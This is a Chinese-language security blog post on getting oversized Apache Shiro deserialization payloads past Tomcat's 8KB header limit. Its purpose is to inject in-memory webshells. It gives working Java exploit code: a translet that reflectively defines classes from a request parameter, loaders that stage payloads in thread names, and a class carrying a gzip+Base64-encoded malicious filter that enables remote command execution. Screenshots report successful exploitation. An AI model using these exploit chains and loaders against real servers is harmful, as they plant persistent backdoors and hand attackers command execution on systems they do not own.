浅析Shiro反序列化Payload长度绕过

起因

之前在研究学习Shiro反序列化漏洞的利用时,发现当注入内存马/回显执行命令时,生成的部分Payload会因为超过Tomcat Header长度限制,而无法成功利用。同时对网上常用的长度绕过方法进行尝试,可能由于一些未知原因,没有绕过成功。于是本文打算通过对网上已有方法进行分析和利用尝试,从而达到成功绕过的目的。

1. Tomcat Header长度限制

在Tomcat中怎样实现对Header长度的限制?

在Tomcat中对Header长度的限制,是通过配置maxHttpHeaderSize来实现的,默认配置是8192字节,即8KB。下面是不同Tomcat版本的maxHttpHeaderSize:

1
2
3
4
5
//Tomcat 8.0.47等
private int maxHttpHeaderSize = 8192;
//Tomcat 8.5.78、Tomcat 9.0.68等
private int maxHttpHeaderSize;
this.maxHttpHeaderSize = 8192;

maxHttpHeaderSize分析

org.apache.coyote.http11.AbstractHttp11Protocol类的maxHttpHeaderSize属性,可以对Tomcat中的Header长度进行限制。

在这个类中有该属性的get和set方法:

image.png

接下来寻找哪个地方调用了其get方法,发现在org.apache.coyote.http11.Http11Processor类的构造方法中进行了调用:

image.png

在上图看到,maxHeaderSize属性的值会影响inputBuffer和outputBuffer两个属性的值,而inputBuffer和outputBuffer两个属性分别是Http11InputBuffer和Http11OutputBuffer的类对象。

于是接下来看Http11InputBuffer类和Http11OutputBuffer类,发现在Http11OutputBuffer类中maxHeaderSize属性的值在构造方法中会作为headerBufferSize被传入到ByteBuffer.allocate方法,并将方法返回结果赋值到headerBuffer属性(ByteBuffer的类对象):

image.png

跟进ByteBuffer.allocate方法,会return new HeapByteBuffer(capacity, capacity);,即创建一个新的Header Buffer:

image.png

image.png

所以,在进行HTTP请求时,将会根据maxHttpHeaderSize属性的值,创建一个新的Header Buffer空间,大小为maxHttpHeaderSize属性的值,即8KB。Header的输出和输入都不可以超出这个大小限制,如果超出这个限制,就会抛出异常。

绕过Header长度限制的思路

根据Header长度限制的原理,很容易想到绕过Header长度限制的根本思路:

  1. 增加Tomcat允许HTTP Header最大值

    配置参数maxHttpHeaderSize可以设置Tomcat允许的HTTP Header最大值。

  2. 减少HTTP Header的Size

    如:在HTTP请求包中减少无关的Header、压缩编码等。

2. 方法浅析及利用

2.1. 增加Tomcat允许HTTP Header最大值

2.1.1. 修改maxHttpHeaderSize

在Tomcat的server.xml里面可以设置maxHttpHeaderSize。

但我们的目的是实现动态修改maxHttpHeaderSize属性的值。

在实现动态修改前,我们先了解一下有关知识:

在上面对maxHttpHeaderSize分析中,我们了解到:

在进行HTTP请求时,将会根据maxHttpHeaderSize属性的值,创建一个新的Header Buffer空间,大小为maxHttpHeaderSize属性的值,即8KB

同时我们也知道:

每一次HTTP请求到达Web服务,Tomcat都会创建一个线程来处理该请求。

从Litch1师傅的文章里了解到:

request的inputbuffer会复用

在修改完maxHeaderSize之后,需要多个连接同时访问,让tomcat新建request的inputbuffer

inputBuffer是如何实现复用的?

要找到这个问题的答案,当然需要翻源码了,想找到Request对象复用,首先需要知道创建Request对象的类,这里先编写两个RequestDemo输出在进行不同HTTP请求时,创建的线程名和Request对象实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@WebServlet("/RequestDemo1")
public class RequestDemo1 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println(Thread.currentThread().getName()+":RequestDemo1 = " + req);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}

@WebServlet("/RequestDemo2")
public class RequestDemo2 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println(Thread.currentThread().getName()+":RequestDemo2 = " + req);
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}

运行,从Request对象实例中,可以看到Request对象的类全名为org.apache.catalina.connector.RequestFacade

image.png

于是接下来在RequestFacade类的构造方法中打上断点,进行调试分析:

1.首先跟进到RequestFacade对象创建的地方,即getRequest()方法

image.png

该方法有两个 if 判断:

  • 第一个是判断facade是否为 null,不为null就new。

  • 第二个是把facade赋值给applicationRequest对象,接着返回applicationRequest对象。

产生一个思考:在第二个if中可以直接返回facade,为什么要赋值给applicationRequest?

这两个if是判断facade和applicationRequest是否为null:

  • 第一次访问时,必定为null。

  • 那么之后什么时候又会变为null呢?

    • 发现在一次请求结束,执行recycle方法(org.apache.catalina.connector.Request#recycle)时:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      public void recycle() {
      //省略部分代码
      //将applicationRequest直接设置为null
      this.applicationRequest = null;
      //facade设置为null存在一个前提:getDiscardFacades方法返回为true(而这个参数默认是false)
      if (this.getDiscardFacades()) {
      if (this.facade != null) {
      this.facade.clear();
      this.facade = null;
      }
      //省略部分代码
      }
      //省略部分代码
      }
  • 所以applicationRequest会在每次请求完成之后设置为null,而facade会保留下来。

因此下一次请求过来的时候,facede并不为空,直接复用facade,把facade赋值给applicationRequest。

这也解释了:为什么上面两个RequestDemo输出的facade对象相同。

2.接着寻找创建facade对象的getRequest()方法在哪里会被调用

发现在StandardHostValve类的invoke方法中,有一个Request对象在调用getRequest方法:

1
2
3
4
5
6
7
public final void invoke(Request request, Response response) throws IOException, ServletException {
//省略部分代码
if (!asyncAtStart && !context.fireRequestInitEvent(request.getRequest())) {
return;
}
//省略部分代码
}

3.接着顺着调用栈寻找Request对象最开始是从哪个方法开始作为入参传递的

找到org.apache.coyote.http11.Http11Processor#service是Request 对象最开始作为入参传递的地方。

image.png

4.那么这个Request 对象又是如何产生的呢?

在Http11Processor的父类AbstractProcessor类中的request属性前打上断点,重新运行调试:

发现会停在AbstractProcessor 类的构造方法,这里就是request最开始产生的地方

image.png

5.那么这个coyoteRequest又是怎么来的呢?

顺着调用栈寻找,发现是new出来的

image.png

继续顺着调用栈,发现会createProcessor:

image.png

在createProcessor前,会执行:

1
processor = recycledProcessors.pop();

所以,若从recycledProcessors里面pop出的processor对象不为null,则不会调用createProcessor方法,不调用createProcessor方法,也就不会创建RequestFacade对象。

6.接下来再来看看RecycledProcessors类

这个类有三个方法:push、pop、clear。

继承至 SynchronizedStack 对象,就是一个标准的栈结构,只不过是用Synchronized修改了对应的方法(push、pop、clear)。

上面已经有了调用pop方法的地方,那么在哪里会调用push方法呢?

于是在RecycledProcessors类的push方法中打上断点,进行调试,追踪调用栈发现,在请求处理完成,release当前processor时,会把这个processor放到recycledProcessors里面去,等下一次请求使用:

image.png

7.那么当进行HTTP请求时,会先看recycledProcessors这个栈结构里面有没有可用的processor:

若没有,则processor对象为null,调用createProcessor方法创建一个新的processor对象,在请求结束之后,将其放入到栈结构里面。

在调用createProcessor方法时,会new一个新的Request对象coyoteRequest,最终这个Request对象会封装为RequestFacade对象。

8.在org.apache.catalina.connector.Request的构造方法中打上断点,调试,顺着调用栈往前找,发现:

image.png

org.apache.catalina.connector.CoyoteAdapter#service方法中,有一行代码:

1
2
3
request.setCoyoteRequest(req);
//request是org.apache.catalina.connector.Request对象
//req是org.apache.coyote.Request对象

同时,根据**7.**中的分析,Processor和RequestFacade是一一对应的。

9.回到最开始的两个RequestDemo,为什么发起的两次请求,RequestFacade对象是同一个?

上面分析过程中,说明是由于复用facade的缘故;

其实表面上看是同一个facade,实质上是同一个processor;

因为两次请求使用的是同一个processor。

10.最终得到标题inputBuffer是如何实现复用的?的答案:

  • processor是Http11Processor的类对象;

  • inputBuffer是Http11Processor的一个属性;

  • 在进行HTTP请求时,会寻找recycledProcessors中是否有可用的processor,若没有,则processor为null;会调用createProcessor方法创建一个新的processor对象时,会new一个新的Request对象coyoteRequest,这个Request对象会封装为RequestFacade对象;

  • 在进行HTTP请求时,Request对象的类全名为org.apache.catalina.connector.RequestFacade

所以,当有可用的processor时,进行HTTP请求,会导致inputBuffer的复用。

绕过inputBuffer复用

通过上面的分析,我们了解到:若两个请求使用的是不同的processor,也就不会存在复用,从而能绕过request的inputBuffer复用。

Litch1师傅的方法:多个连接同时访问,让tomcat新建request的inputbuffer

经过上面的分析,推测出其原理大概就是:

通过多个连接同时访问,实现在请求未完成时,对修改maxHttpHeaderSize的请求使用新的processor,从而创建新的Header Buffer,大小为maxHttpHeaderSize的值;接下来复用这个新的processor进行超过默认长度限制的注入内存马/回显执行命令等请求,最终实现绕过Tomcat Header长度限制的目的。

测试

这里不再编写测试环境和修改maxHttpHeaderSize的类。

1.测试环境

直接使用下面链接中的Shiro环境进行测试:

samples-web-1.2.4.war:https://github.com/backlion/demo/blob/master/samples-web-1.2.4.war

修改maxHttpHeaderSize之前,将超过长度限制的注入内存马/回显执行命令等请求的Payload生成的rememberMe,在Cookie rememberMe中发送,响应400,说明超过了长度限制

image.png

2.修改maxHttpHeaderSize的类

直接参考网上常见的即可,如修改 max size 注入:http://wjlshare.com/archives/1545中编写的类。

3.生成rememberMe并发包

将上面的类:生成字节码->使用TemplatesImpl加载->利用CBShiro链装配TemplatesImpl->序列化->AES加密->Base64编码->修改maxHttpHeaderSize的rememberMe

将修改maxHttpHeaderSize的rememberMe在Cookie rememberMe中多线程同时发送(这里可以使用Burp的Intruder模块进行多线程发包);

在发包的同时,使用Repeater模块重放原先超过长度限制的注入内存马/回显执行命令等请求的Payload生成的rememberMe。

修改maxHttpHeaderSize失败的原因分析

在上面的测试中,发现并不能成功修改maxHttpHeaderSize,经过分析和测试,最终发现:

上面修改maxHttpHeaderSize的类,不适用于Tomcat8.5.78等版本(其他版本暂未测试)。

我们知道:

Tomcat处理请求的线程中,存在ContextClassLoader对象,而该对象保存了StandardContext对象

但在Tomcat8.5.78环境下,无法从ContextClassLoader中获取到StandardContext,所以最终导致了修改maxHttpHeaderSize失败。这也是之前研究Shiro反序列化漏洞利用时,maxHttpHeaderSize修改失败的原因。可以尝试其他获取StandardContext的方式,这里不再尝试,直接使用Tomcat 9.0.19进行测试。

更改环境为适用的环境(这里是Tomcat 9.0.19),重新测试

1.将修改maxHttpHeaderSize的rememberMe在Cookie rememberMe中多线程同时发送

image.png

2.使用Repeater模块重放原先超过长度限制的注入内存马/回显执行命令等请求的Payload生成的rememberMe(这里以注入Filter内存马为例,由于比较常见不再贴出代码,生成rememberMe的过程和上面生成修改maxHttpHeaderSize的rememberMe步骤相同):

image.png

响应不为400,说明绕过成功了。

3.测试注入的内存马:

image.png

发现能成功执行命令。

至此,完成了通过修改maxHttpHeaderSize绕过Tomcat Header长度限制的分析和利用。

2.2. 减少HTTP Header的size

2.2.1. 分离Payload+动态加载类字节码

上面修改maxHttpHeaderSize绕过Tomcat Header长度限制的方法,会受Tomcat环境影响。

有没有不受Tomcat环境影响的方法?于是,就有师傅采取了分离payload+动态类加载的方法绕过Tomcat Header长度限制。

之前研究Shiro反序列化漏洞利用时,直接利用这种方法依旧失败了。那么,接下来对这种方法进行分析,分析后再尝试利用。

Payload的分离

Shiro反序列化利用的Payload是通过恶意类(如:注入内存马/回显执行命令等)的类字节码->使用TemplatesImpl加载->装配到Gadget chain->序列化->AES加密->Base64编码生成的。

因此,当Payload超过Tomcat Header长度限制时,考虑将恶意类的类字节码Gadget chain->序列化->AES加密->Base64编码进行分离,从而减少HTTP Header的size。

类字节码的动态加载

上面分离之后,就要考虑一个问题就是:如何将恶意类的类字节码Gadget chain->序列化->AES加密->Base64编码分别发送到目标站点,接着再加载恶意类的类字节码

于是想到了利用ClassLoader去加载我们在HTTP请求体中向目标站点发送的恶意类的类字节码。

ClassLoader类的defineClass方法,会将加载的类字节码在JVM中注册为一个Class对象。

调用ClassLoader类的defineClass方法一般有两种方式:

  1. 自定义ClassLoader
  2. 反射调用defineClass

生成rememberMe

所以,我们可以将调用ClassLoader#defineClass方法加载HTTP请求体中类字节码的类,生成类字节码,使用TemplatesImpl加载并装配到Gadget chain,最终生成rememberMe的值:

需要注意的是:因为同一个ClassLoader不能重复加载同一个类,所以每次请求都要生成一个新的ClassLoader。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
public class MyLoader extends AbstractTranslet {
// //自定义ClassLoader
// public static class DefineLoader extends ClassLoader {
// public Class load(byte[] bytes) {
// return super.defineClass(null, bytes, 0, bytes.length);
// }
// }
public MyLoader() {
try {
Object jioEndPoint = GetAcceptorThread();
Object object = getField(getField(jioEndPoint, "handler"), "global");
ArrayList processors = (ArrayList) getField(object, "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)) {
continue;
}
//将org.apache.coyote.Request转换为org.apache.catalina.connector.Request
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1);
org.apache.catalina.connector.Response response = request.getResponse();
//获取请求中的classData参数的值
String bs64_data = request.getParameter("classData");
if(bs64_data != null){
//将请求中的classData参数的值进行Base64解码得到类字节码
byte[] bytes = new sun.misc.BASE64Decoder().decodeBuffer(bs64_data);
// /**
// * 1.自定义ClassLoader调用ClassLoader类的defineClass方法
// * */
// Class clazz = new MyLoader.DefineLoader().load(bytes);
// clazz.newInstance().equals(new Object[]{request,response});
/**
* 2.反射调用ClassLoader类的defineClass方法
* */
//反射获取ClassLoader类的defineClass方法
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
//反射调用defineClass方法加载classData参数中的类字节码
Class clazz = (Class) defineClassMethod.invoke(MyLoader.class.getClassLoader(), bytes, 0, bytes.length);
clazz.newInstance();
}
}
} catch (Exception e) {
e.printStackTrace();
}
}

//获取属性
public static Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException e) {
} catch (IllegalAccessException e) {
}
clazz = clazz.getSuperclass();
}
return null;
}

//获取Acceptor线程
public static Object GetAcceptorThread() {
//获取当前所有线程
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null || thread.getName().contains("exec")) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = getField(thread, "target");
Object jioEndPoint = null;
try { //Tomcat678
jioEndPoint = getField(target, "this$0");
} catch (Exception e) {
}
if (jioEndPoint == null) {
try {//Tomcat9
jioEndPoint = getField(target, "endpoint");
} catch (Exception e) {
continue;
}
}
return jioEndPoint;
}
}
return null;
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

生成Payload

这里同样以超过长度限制的注入Filter内存马为例,由于比较常见不再贴出代码。

将构造的恶意类的类字节码进行Base64编码,生成Payload。

触发Payload

image.png

当rememberMe值和Payload一起发包后,rememberMe值Base64解码->AES解密->反序列化->Gadget chain,Gadget chain会加载MyLoader类,在MyLoader类里会将HTTP请求体中发送的Payload进行Base64解码得到恶意类的类字节码,通过ClassLoader#defineClass方法加载触发。

经过测试,成功触发,注入内存马成功:

image.png

这里有个疑问:为什么通过defineClass方法加载恶意类的类字节码后,就能进行触发?

原因:

  • 在Class对象的newInstance()方法创建类实例时,会调用静态初始块和构造函数。

  • 也可以采用重写equals、toString等方法,创建类实例后调用重写的equals、toString等方法。

    如果要传递request和response,可以通过重写equals方法

至此,完成了通过分离Payload+动态加载类字节码绕过Tomcat Header长度限制的分析和利用。

2.2.2. 缩短Payload+分散发包

Y4tacker师傅根据分离Payload+动态加载类字节码的思路,提出了一个新的思路:缩短payload+分散发包

Y4tacker师傅的思考简述:

在全局寻找能够持久存储Payload的地方,想到通过修改当前线程对象的名字(Thread.currentThread().setName())来存储Payload。(师傅的文中,已测试Thread name具有足够的长度存储能力)

于是根据其思路,这里分析并进行实现一下:

筛选线程

由于:

每一次HTTP请求到达Web服务,Tomcat都会创建一个线程来处理该请求。

所以,将当前Thread name先修改为具有标识性的字符串,通过该标识可以更方便的筛选出存储Payload的Thread name:

1
2
//设置Thead name为Qwzf
Thread.currentThread().setName("Qwzf");

image.png

生成并缩短Payload

生成在Thread name上设置的原先超过长度限制的注入内存马/回显执行命令等请求的Payload(这里也同样以超过长度限制的注入Filter内存马为例,由于比较常见不再贴出代码)。

缩短Payload可参考https://xz.aliyun.com/t/6227进行缩短,不再贴出代码。

分散发包

将Payload分成多段加入到Thread name。即,每次将Payload的一部分追加到Thread name,生成rememberMe,在Cookie中发送。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class ThreadName extends AbstractTranslet {
public ThreadName() throws Exception{
//Thread.currentThread().setName("Qwzf");
ThreadGroup a = Thread.currentThread().getThreadGroup();
java.lang.reflect.Field v2 = a.getClass().getDeclaredField("threads");
v2.setAccessible(true);
Thread[] o = (Thread[]) v2.get(a);
for(int i = 0; i < o.length; ++i) {
Thread z = o[i];
//在具有Qwzf标识的Thread name后添加Payload
if (z.getName().contains("Qwzf")){
//将Payload分成多段加入,Payload1、Payload2......
String Payload1 = "";
//String Payload2 = "";
//String Payload3 = "";
//String Payload4 = "";

z.setName(z.getName()+Payload1);
}
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

image.png

触发Payload

将在Thread name上设置的注入内存马的Payload进行Base64解码得到恶意类的类字节码,通过defineClass方法进行加载触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class Loader extends AbstractTranslet{
public Loader() throws Exception{
ThreadGroup a = Thread.currentThread().getThreadGroup();
Field v2 = a.getClass().getDeclaredField("threads");
v2.setAccessible(true);
Thread[] o = (Thread[]) v2.get(a);
for (int i = 0; i < o.length; ++i) {
Thread z = o[i];
//使用ClassLoader类的defineClass方法加载具有Qwzf标识的Thread name中的Payload
if (z.getName().contains("Qwzf")) {
byte[] bytes2 = new sun.misc.BASE64Decoder().decodeBuffer(z.getName().replaceAll("Qwzf", ""));
//反射获取ClassLoader类的defineClass方法
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
//反射调用defineClass方法加载Thread name中的注入内存马的类字节码
Class clazz = (Class) defineClassMethod.invoke(Loader.class.getClassLoader(), bytes2, 0, bytes2.length);
clazz.newInstance();
}
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

将触发代码,生成rememberMe,在Cookie中发送,最终注入成功,效果如下:

image.png

至此,完成了通过缩短Payload+分散发包绕过Tomcat Header长度限制的分析和利用。

2.2.3. Gzip+Base64压缩编码类字节码

(这里也同样以超过长度限制的注入Filter内存马为例)

Gzip

DEFLATE是同时使用了LZ77算法与哈夫曼编码(Huffman Coding)的一个无损数据压缩算法,DEFLATE 压缩与解压的源代码可以在自由、通用的压缩库zlib上找到,JDK中对zlib压缩库提供了支持,对压缩类Deflater和解压类Inflater,都提供了 native 方法。

Gzip是GNUzip的缩写,最早用于UNIX系统的文件压缩。Gzip的实现算法是DEFLATE,只不过在DEFLATE格式上增加了文件头和文件尾。JDK对Gzip提供了支持,分别是GZIPOutputStream和GZIPInputStream类,GZIPOutputStream继承于DeflaterOutputStream,GZIPInputStream继承于InflaterInputStream。

classes字段

由于在Class.forName的实现过程中,会查找ClassLoader的classes字段。所以可以:

  • 在第一次请求时,先调用defineClass将恶意的Filter类注册到JVM,并添加到ClassLoader的classes字段中;

  • 在第二次请求时,Class.forName直接获取这个恶意的Filter类,从而减少单次Payload长度。

添加恶意filter到classes字段

将恶意的Filter类进行gzip压缩+Base64编码放到DefineClass类中,在DefineClass类中先进行解码解压缩,再反射获取classes字段,将恶意Filter类的类字节码注册到JVM并存储到ClassLoader类的classes字段中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class DefineClass extends AbstractTranslet {
static {
BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
//ShellFilter类字节码的gzip压缩+Base64编码
String classData = "H4sIAAAAAAAAAKVW3VcbVRD/3XzdELZ8BChES1urhVCg60fVNmmxSFuLpoAEqW2xuiwXsnSzG3Y3FLTa+n2O5/giT/4FPvuSip7j6ZMP/kk+qHNv0jSFFOox52Tu7tyZnd/8Zubu/vn3r78DOIVvEngGb3Fc5piM40wrQng7jndaEUaO40oCU5iWYiaBdzGbQBz5OObk+p4U81JcjeN96XAtjusJ3MCCFB9IcVOKD1vxEQyORQ6TY4khdtZyrGCMIZwemmeITLhLgqE9ZzliqlxcFN6csWiTJplzTcOeNzxL3teUkaBg+Qx6znSLeiD8QF/cLBm+rxeEsSQ8Wzg1xSk9XxC2fcmyA+FlyVEGZTiSzq0a68aG7gtv3RaBXjWYcJ1layUr8cRMdc1waC9LhsTFDVOUAst1fA5CFl9yqxYMN3YGyVfXWbFWJsjZJ+36JXqY2Lldi1swLEcBDPkmQ5cy0suBZet503AclWTMLQelciC5U9u24azo+cCzHImYe9X4DIf3xkfJeDUwxNg+aBmipsTG8OwewKnaFJ1hcIdNIQhK+mUSuyBEJASGnVTudqjjCJtFaq8D+cAwb10xSqpjVN8tc6xwFKptzmFRZ3OsEiFLFMpzN6mYebfsmYIQU8YdDZ1zUkbXcAj9DMefCjrDwNMh1nALNkNvIDakUdHOEo+eL4Jz5WB59LSGIojUzl115nA1lLCmwQO1XqChjHUJ8Tb1xsK4hg1savgYn2i4g08ZoOEz3GU4Nrrvj+Oehs/haPhCii/Rr+Er9BN3GobwNcPofxo7ovJRG04vrgqT2Olu1iTUkk27rD5jNI57tSxD/55dypB6Ym8+hrI6LDRfSmW5+uR0AwZtRQQzhmcUhcI8kN49ZkPNJq+NqkoHRyCcYG6zRGh6mnnOP6y20s6WncAqkm2CgtZvetKNAWpqOS1iQ9CxMLgPohnPNYXvZx+LVFMSTIo06dABQp7CKFJvPowmiXi0Qe596aYbMget7IsLwraKliJpD0g7Ti9eMPwpGgb1ZrhOOTnqpjvdlNMWAnvVq8ZoxDlD+7WNbEMdG9QUqSTvbKpo9LZU0bpsl/2CPMtsV7bL+f93hA/N4zmk6N1KpyK9aCO00hFC8jDd6bTSWCJ64j7Yz3QRwhGSMaVswVHIkVUG9JBjtDI8jxfISjq/quyx21FTjgermzVHeXUcAyQHayjS9B/CierDmEu6FtrZGn6AUCYy8gDhTDQVSUa2EQ0hE0vF/sBaKpqMbYOH8Bvi135BSypWQaKC1vvQkgcqaMvwFK+g/Ue0yrXjJ0STnZl4KrqNJL2Iuirorl2n4hX0NNFXcLB+1Ts6PLKNvjBkemGVXgZtJNspzQ5KshO9SBKZXZRYN8bQg1lK+iZpV9GHdSL9HtH+HVn8QIRLShYoxTHkMIwRcLI+jVGcpO8WSrtO0xYV5UVF4xZewsuKxC28Ql9IYYr7PbH+GlGl4Vu8Tv5RinYHZ+gpMUIHIjX8D30kxTmyHGc5znGMcbzBcZ5jnONNSDn+F3kMqnKFMKEKcaHeEsOqVE2qerShHVi9HS4qq0v/AoUaz2nHCQAA";
ClassLoader currentClassloader = Thread.currentThread().getContextClassLoader();
try {
//解码解压缩
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(b64Decoder.decodeBuffer(classData));
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
byte[] evilclassbyte = out.toByteArray();
//将恶意的filter(即ShellFilter),注册到JVM
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class evilClass = (Class) defineClassMethod.invoke(currentClassloader, evilclassbyte, 0, evilclassbyte.length);
//将ShellFilter类存入classes字段
java.lang.reflect.Field classesField = Class.forName("java.lang.ClassLoader").getDeclaredField("classes");
classesField.setAccessible(true);
Vector classes = (Vector) classesField.get(currentClassloader);
classes.add(0, evilClass);
} catch (Exception e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

image.png

实例化并注册恶意filter

写一个正常的Filter内存马,将正常获取注册恶意的filter,改为从classes字段中获取注册恶意的filter(不再贴完整代码)。

即,将正常Filter内存马中的下面代码:

1
2
3
FilterShell filterShell = new FilterShell();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filterShell);

改为:

1
2
3
4
//恶意Filter类的类全名
Class evilClass = Class.forName("com.test.bypass.headerlen.bypass4.ShellFilter");
FilterDef filterDef = new FilterDef();
filterDef.setFilter((Filter) evilClass.newInstance());

image.png

传参执行命令,发现内存马注入成功,效果如下:

image.png

产生一个思考:除了Gzip压缩,还能采取什么方式来压缩?

经过查阅相关资料,还可以进行DEFLATE、bzip2、LZO、LZ4、Snappy等方式压缩,可参考:https://my.oschina.net/OutOfMemory/blog/805427进行其他压缩方式的测试,这里不再测试。

至此,完成了通过Gzip+Base64压缩编码类字节码绕过Tomcat Header长度限制的分析和利用。

2.2.4. 小结

从根本上来说,上面三种减少HTTP Header的size的思路,都包含了分离Payload,主要区别是:

  • 分离Payload+动态加载类字节码:将Payload在HTTP请求体中向目标站点发送

  • 缩短Payload+分散发包:将Payload在Thread name中存储

  • Gzip+Base64压缩编码类字节码:将Payload的一部分添加到ClassLoader的classes字段

结束语

本文主要是对Tomcat Header长度限制绕过方法的分析和实现,以及一些思考,较为基础,如有不当之处,敬请指出。

Reference:

https://cloud.tencent.com/developer/article/1475881

https://www.jianshu.com/p/ab054620da64

https://zhuanlan.zhihu.com/p/548516726

https://blog.csdn.net/qq_25179481/article/details/104464842

https://mp.weixin.qq.com/s/QJgAt2usAZ7xYxTo0kXZ7A

https://mp.weixin.qq.com/s/5iYyRGnlOEEIJmW1DqAeXw

https://mp.weixin.qq.com/s/r32pX7ucl-X9JoXzAzIRmw

https://y4tacker.github.io/2022/04/14/year/2022/4/%E6%B5%85%E8%B0%88Shiro550%E5%8F%97Tomcat-Header%E9%95%BF%E5%BA%A6%E9%99%90%E5%88%B6%E5%BD%B1%E5%93%8D%E7%AA%81%E7%A0%B4/

https://paper.seebug.org/1233/